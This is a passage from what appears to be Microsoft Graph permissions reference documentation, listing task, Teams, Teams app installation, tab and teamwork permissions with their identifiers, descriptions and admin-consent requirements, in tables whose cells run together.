    DisplayText-Read user's tasks and task lists
    Description-Allows the app to read the signed-in user's tasks and task lists, including any shared with the user. Doesn't include permission to create, delete, or update anything.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Tasks.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Tasks.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf10e1f91-74ed-437f-a6fd-d6ae88e26c1f-
    DisplayTextRead all users' tasks and tasklist-
    DescriptionAllows the app to read all users' tasks and task lists in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Tasks.Read.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-88d21fd4-8e5a-4c32-b5e2-4a1c95f34f72
    DisplayText-Read user and shared tasks
    Description-Allows the app to read tasks a user has permissions to access, including their own and shared tasks.
    AdminConsentRequired-No
    +
    +

    Tasks.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2219042f-cab5-40cc-b0d2-16b1540b4c5f
    DisplayText-Create, read, update, and delete user's tasks and task lists
    Description-Allows the app to create, read, update, and delete the signed-in user's tasks and task lists, including any shared with the user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Tasks.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Tasks.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier44e666d1-d276-445b-a5fc-8815eeb81d55-
    DisplayTextRead and write all users' tasks and tasklists-
    DescriptionAllows the app to create, read, update and delete all users' tasks and task lists in your organization, without a signed-in user-
    AdminConsentRequiredYes-
    +
    +

    Tasks.ReadWrite.Shared

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c5ddf11b-c114-4886-8558-8a4e557cd52b
    DisplayText-Read and write user and shared tasks
    Description-Allows the app to create, read, update, and delete tasks a user has permissions to, including their own and shared tasks.
    AdminConsentRequired-No
    +
    +

    Team.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier23fc2474-f741-46ce-8465-674744c5c3617825d5d6-6049-4ce7-bdf6-3b8d53f4bcd0
    DisplayTextCreate teamsCreate teams
    DescriptionAllows the app to create teams without a signed-in user. Allows the app to create teams on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    Team.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2280dda6-0bfd-44ee-a2f4-cb867cfc4c1e485be79e-c497-4b35-9400-0e3fa7f2a5d4
    DisplayTextGet a list of all teamsRead the names and descriptions of teams
    DescriptionGet a list of all teams, without a signed-in user.Read the names and descriptions of teams, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    TeamMember.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier660b7406-55f1-41ca-a0ed-0b035e182f3e2497278c-d82d-46a2-b1ce-39d4cdde5570
    DisplayTextRead the members of all teamsRead the members of teams
    DescriptionRead the members of all teams, without a signed-in user.Read the members of teams, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamMember.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0121dc95-1b9f-4aed-8bac-58c5ac4666914a06efd2-f825-4e34-813e-82a57b03d1ee
    DisplayTextAdd and remove members from all teamsAdd and remove members from teams
    DescriptionAdd and remove members from all teams, without a signed-in user. Also allows changing a team member's role, for example from owner to non-owner.Add and remove members from teams, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner.
    AdminConsentRequiredYesYes
    +
    +

    TeamMember.ReadWriteNonOwnerRole.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4437522e-9a86-4a41-a7da-e380edd4a97d2104a4db-3a2f-4ea0-9dba-143d457dc666
    DisplayTextAdd and remove members with non-owner role for all teamsAdd and remove members with non-owner role for all teams
    DescriptionAdd and remove members from all teams, without a signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role.Add and remove members from all teams, on behalf of the signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role.
    AdminConsentRequiredYesYes
    +
    +

    TeamsActivity.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0e755559-83fb-4b44-91d0-4cc721b9323e
    DisplayText-Read user's teamwork activity feed
    Description-Allows the app to read the signed-in user's teamwork activity feed.
    AdminConsentRequired-No
    +
    +

    TeamsActivity.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier70dec828-f620-4914-aa83-a29117306807-
    DisplayTextRead all users' teamwork activity feed-
    DescriptionAllows the app to read all users' teamwork activity feed, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsActivity.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera267235f-af13-44dc-8385-c1dc930231867ab1d787-bae7-4d5d-8db6-37ea32df9186
    DisplayTextSend a teamwork activity to any userSend a teamwork activity as the user
    DescriptionAllows the app to create new notifications in users' teamwork activity feeds without a signed in user. These notifications may not be discoverable or be held or governed by compliance policies.Allows the app to create new notifications in users' teamwork activity feeds on behalf of the signed in user. These notifications may not be discoverable or be held or governed by compliance policies.
    AdminConsentRequiredYesNo
    +
    +

    TeamsAppInstallation.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0fdf35a5-82f8-41ff-9ded-0b761cc73512-
    DisplayTextRead installed Teams apps for all installation scopes-
    DescriptionAllows the app to read the Teams apps that are installed in any scope, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-bf3fbf03-f35f-4e93-963e-47e4d874c37a
    DisplayText-Read installed Teams apps in chats
    Description-Allows the app to read the Teams apps that are installed in chats the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-No
    +
    +

    TeamsAppInstallation.ReadForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercc7e7635-2586-41d6-adaa-a8d3bcad5ee5-
    DisplayTextRead installed Teams apps for all chats-
    DescriptionAllows the app to read the Teams apps that are installed in any chat, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5248dcb1-f83b-4ec3-9f4d-a4428a961a72
    DisplayText-Read installed Teams apps in teams
    Description-Allows the app to read the Teams apps that are installed in teams the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1f615aea-6bf9-4b05-84bd-46388e138537-
    DisplayTextRead installed Teams apps for all teams-
    DescriptionAllows the app to read the Teams apps that are installed in any team, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c395395c-ff9a-4dba-bc1f-8372ba9dca84
    DisplayText-Read user's installed Teams apps
    Description-Allows the app to read the Teams apps that are installed for the signed-in user. Does not give the ability to read application-specific settings.
    AdminConsentRequired-No
    +
    +

    TeamsAppInstallation.ReadForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9ce09611-f4f7-4abd-a629-a05450422a97-
    DisplayTextRead installed Teams apps for all users-
    DescriptionAllows the app to read the Teams apps that are installed for any user, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-e1408a66-8f82-451b-a2f3-3c3e38f7413f
    DisplayText-Manage installed Teams apps in chats
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Gives the ability to manage permission grants for accessing those specific chats' data.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6e74eff9-4a21-45d6-bc03-3a20f61f8281-
    DisplayTextManage installation and permission grants of Teams apps for all chats-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Gives the ability to manage permission grants for accessing those specific chats' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-946349d5-2a9d-4535-abc0-7beeacaedd1d
    DisplayText-Manage installed Teams apps in teams
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Gives the ability to manage permission grants for accessing those specific teams' data.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb0c13be0-8e20-4bc5-8c55-963c23a39ce9-
    DisplayTextManage installation and permission grants of Teams apps for all teams-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Gives the ability to manage permission grants for accessing those specific teams' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2da62c49-dfbd-40df-ba16-fef3529d391c
    DisplayText-Manage installation and permission grants of Teams apps in users' personal scope
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in user accounts, on behalf of the signed-in user. Gives the ability to manage permission grants for accessing those specific users' data.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier32ca478f-f89e-41d0-aaf8-101deb7da510-
    DisplayTextManage installation and permission grants of Teams apps in a user account-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any user account, without a signed-in user. Gives the ability to manage permission grants for accessing those specific users' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-a0e0e18b-8fb2-458f-8130-da2d7cab9c75
    DisplayText-Allow the Teams app to manage itself and its permission grants in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access, and manage its permission grants for accessing those specific chats' data.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierba1ba90b-2d8f-487e-9f16-80728d85bb5c-
    DisplayTextAllow the Teams app to manage itself and its permission grants for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user, and manage its permission grants for accessing those specific chats' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-4a6bbf29-a0e1-4a4d-a7d1-cef17f772975
    DisplayText-Allow the Teams app to manage itself and its permission grants in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in teams the signed-in user can access, and manage its permission grants for accessing those specific teams' data.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1e4be56c-312e-42b8-a2c9-009600d732c0-
    DisplayTextAllow the Teams app to manage itself and its permission grants for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any team, without a signed-in user, and manage its permission grants for accessing those specific teams' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-7a349935-c54d-44ab-ab66-1b460d315be7
    DisplayText-Allow the Teams app to manage itself and its permission grants in user accounts
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in user accounts, and manage its permission grants for accessing those specific users' data, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteAndConsentSelfForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera87076cf-6abd-4e56-8559-4dbdf41bef96-
    DisplayTextAllow the Teams app to manage itself and its permission grants in all user accounts-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any user account, without a signed-in user, and manage its permission grants for accessing those specific users' data.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-aa85bf13-d771-4d5d-a9e6-bca04ce44edf
    DisplayText-Manage installed Teams apps in chats
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9e19bae1-2623-4c4f-ab6e-2664615ff9a0-
    DisplayTextManage Teams apps for all chats-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2e25a044-2580-450d-8859-42eeb6e996c0
    DisplayText-Manage installed Teams apps in teams
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5dad17ba-f6cc-4954-a5a2-a0dcc95154f0-
    DisplayTextManage Teams apps for all teams-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-093f8818-d05f-49b8-95bc-9d2a73e9a43c
    DisplayText-Manage user's installed Teams apps
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps installed for the signed-in user. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier74ef0291-ca83-4d02-8c7e-d2391e6a444f-
    DisplayTextManage Teams apps for all users-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps for any user, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteSelfForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0ce33576-30e8-43b7-99e5-62f8569a4002
    DisplayText-Allow the Teams app to manage itself in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteSelfForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier73a45059-f39c-4baf-9182-4954ac0e55cf-
    DisplayTextAllow the Teams app to manage itself for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteSelfForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0f4595f7-64b1-4e13-81bc-11a249df07a9
    DisplayText-Allow the app to manage itself in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself to teams the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsAppInstallation.ReadWriteSelfForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9f67436c-5415-4e7f-8ac1-3014a7132630-
    DisplayTextAllow the Teams app to manage itself for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsAppInstallation.ReadWriteSelfForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-207e0cb1-3ce7-4922-b991-5a760c346ebc
    DisplayText-Allow the Teams app to manage itself for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself for the signed-in user.
    AdminConsentRequired-No
    +
    +

    TeamsAppInstallation.ReadWriteSelfForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier908de74d-f8b2-4d6b-a9ed-2a17b3b78179-
    DisplayTextAllow the app to manage itself for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself to any user, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier242607bd-1d2c-432c-82eb-bdb27baa23ab48638b3c-ad68-4383-8ac4-e6880ee6ca57
    DisplayTextRead all teams' settingsRead teams' settings
    DescriptionRead all team's settings, without a signed-in user.Read all teams' settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbdd80a03-d9bc-451d-b7c4-ce7c63fe3c8f39d65650-9d3e-4223-80db-a335590d027e
    DisplayTextRead and change all teams' settingsRead and change teams' settings
    DescriptionRead and change all teams' settings, without a signed-in user.Read and change all teams' settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamsTab.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier49981c42-fd7b-4530-be03-e77b21aed25ea9ff19c2-f369-4a95-9a25-ba9d460efc8e
    DisplayTextCreate tabs in Microsoft Teams.Create tabs in Microsoft Teams.
    DescriptionAllows the app to create tabs in any team in Microsoft Teams, without a signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs.Allows the app to create tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    +
    +

    TeamsTab.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier46890524-499a-4bb2-ad64-1476b4f3e1cf59dacb05-e88d-4c13-a684-59f1afc8cc98
    DisplayTextRead tabs in Microsoft Teams.Read tabs in Microsoft Teams.
    DescriptionRead the names and settings of tabs inside any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs.Read the names and settings of tabs inside any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    +
    +

    TeamsTab.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera96d855f-016b-47d7-b51c-1218a98d791cb98bfd41-87c6-45cc-b104-e2de4f0dafb9
    DisplayTextRead and write tabs in Microsoft Teams.Read and write tabs in Microsoft Teams.
    DescriptionRead and write tabs in any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs.Read and write tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    +
    +

    TeamsTab.ReadWriteForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ee928332-e9c2-4747-b4a0-f8c164b68de6
    DisplayText-Allow the Teams app to manage all tabs in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs in chats the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsTab.ReadWriteForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfd9ce730-a250-40dc-bd44-8dc8d20f39ea-
    DisplayTextAllow the Teams app to manage all tabs for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsTab.ReadWriteForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c975dd04-a06e-4fbb-9704-62daad77bb49
    DisplayText-Allow the Teams app to manage all tabs in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs to teams the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsTab.ReadWriteForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6163d4f4-fbf8-43da-a7b4-060fe85ed148-
    DisplayTextAllow the Teams app to manage all tabs for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsTab.ReadWriteForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c37c9b61-7762-4bff-a156-afc0005847a0
    DisplayText-Allow the Teams app to manage all tabs for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs for the signed-in user.
    AdminConsentRequired-No
    +
    +

    TeamsTab.ReadWriteForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier425b4b59-d5af-45c8-832f-bb0b7402348a-
    DisplayTextAllow the app to manage all tabs for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs for any user, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsTab.ReadWriteSelfForChat

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0c219d04-3abf-47f7-912d-5cca239e90e6
    DisplayText-Allow the Teams app to manage only its own tabs in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs in chats the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsTab.ReadWriteSelfForChat.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9f62e4a2-a2d6-4350-b28b-d244728c4f86-
    DisplayTextAllow the Teams app to manage only its own tabs for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsTab.ReadWriteSelfForTeam

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f266662f-120a-4314-b26a-99b08617c7ef
    DisplayText-Allow the Teams app to manage only its own tabs in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs to teams the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    TeamsTab.ReadWriteSelfForTeam.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier91c32b81-0ef0-453f-a5c7-4ce2e562f449-
    DisplayTextAllow the Teams app to manage only its own tabs for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsTab.ReadWriteSelfForUser

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-395dfec1-a0b9-465f-a783-8250a430cb8c
    DisplayText-Allow the Teams app to manage only its own tabs for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall its own tabs for the signed-in user.
    AdminConsentRequired-No
    +
    +

    TeamsTab.ReadWriteSelfForUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3c42dec6-49e8-4a0a-b469-36cff0d9da93-
    DisplayTextAllow the Teams app to manage only its own tabs for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall its own tabs for any user, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamsUserConfiguration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera91eadaf-2c3c-4362-908b-fb172d208fc65c469ce4-dab5-4afd-b9de-14f1ba4004a7
    DisplayTextRead Teams user configurationsRead Teams user configurations
    DescriptionAllows the app to read your tenant's user configurations, without a signed-in user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc.Allows the app to read your tenant's user configurations on behalf of the signed-in admin user. User configuration may include attributes related to user, such as telephone number, assigned policies, etc.
    AdminConsentRequiredYesYes
    +
    +

    TeamTemplates.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-cd87405c-5792-4f15-92f7-debc0db6d1d6
    DisplayText-Read available Teams templates
    Description-Allows the app to read the available Teams templates, on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    TeamTemplates.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6323133e-1f6e-46d4-9372-ac33a0870636-
    DisplayTextRead all available Teams Templates-
    DescriptionAllows the app to read all available Teams Templates, without a signed-user.-
    AdminConsentRequiredYes-
    +
    +

    Teamwork.Migrate.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdfb0dd15-61de-45b2-be36-d6a69fba3c79-
    DisplayTextCreate chat and channel messages with anyone's identity and with any timestamp-
    DescriptionAllows the app to create chat and channel messages, without a signed in user. The app specifies which user appears as the sender, and can backdate the message to appear as if it was sent long ago. The messages can be sent to any chat or channel in the organization.-
    AdminConsentRequiredYes-
    +

    personal Microsoft accounts The Teamwork.Migrate.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Teamwork.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier75bcfbce-a647-4fba-ad51-b63d73b210f4594f4bb6-c083-4cf9-8aa8-213823bdf351
    DisplayTextRead organizational teamwork settingsRead organizational teamwork settings
    DescriptionAllows the app to read all teamwork settings of the organization without a signed-in user.Allows the app to read the teamwork settings of the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamworkAppSettings.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier475ebe88-f071-4bd7-af2b-642952bd498644e060c4-bbdc-4256-a0b9-dcc0396db368
    DisplayTextRead Teams app settingsRead Teams app settings
    DescriptionAllows the app to read the Teams app settings without a signed-in user.Allows the app to read the Teams app settings on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    TeamworkAppSettings.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierab5b445e-8f10-45f4-9c79-dd3f8062cc4e87c556f0-2bd9-4eed-bd74-5dd8af6eaf7e
    DisplayTextRead and write Teams app settingsRead and write Teams app settings
    DescriptionAllows the app to read and write the Teams app settings without a signed-in user.Allows the app to read and write the Teams app settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamworkDevice.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0591bafd-7c1c-4c30-a2a5-2b9aacb1dfe8b659488b-9d28-4208-b2be-1c6652b3c970
    DisplayTextRead Teams devicesRead Teams devices
    DescriptionAllow the app to read the management data for Teams devices, without a signed-in user.Allow the app to read the management data for Teams devices on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamworkDevice.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier79c02f5b-bd4f-4713-bc2c-a8a4a66e127bddd97ecb-5c31-43db-a235-0ee20e635c40
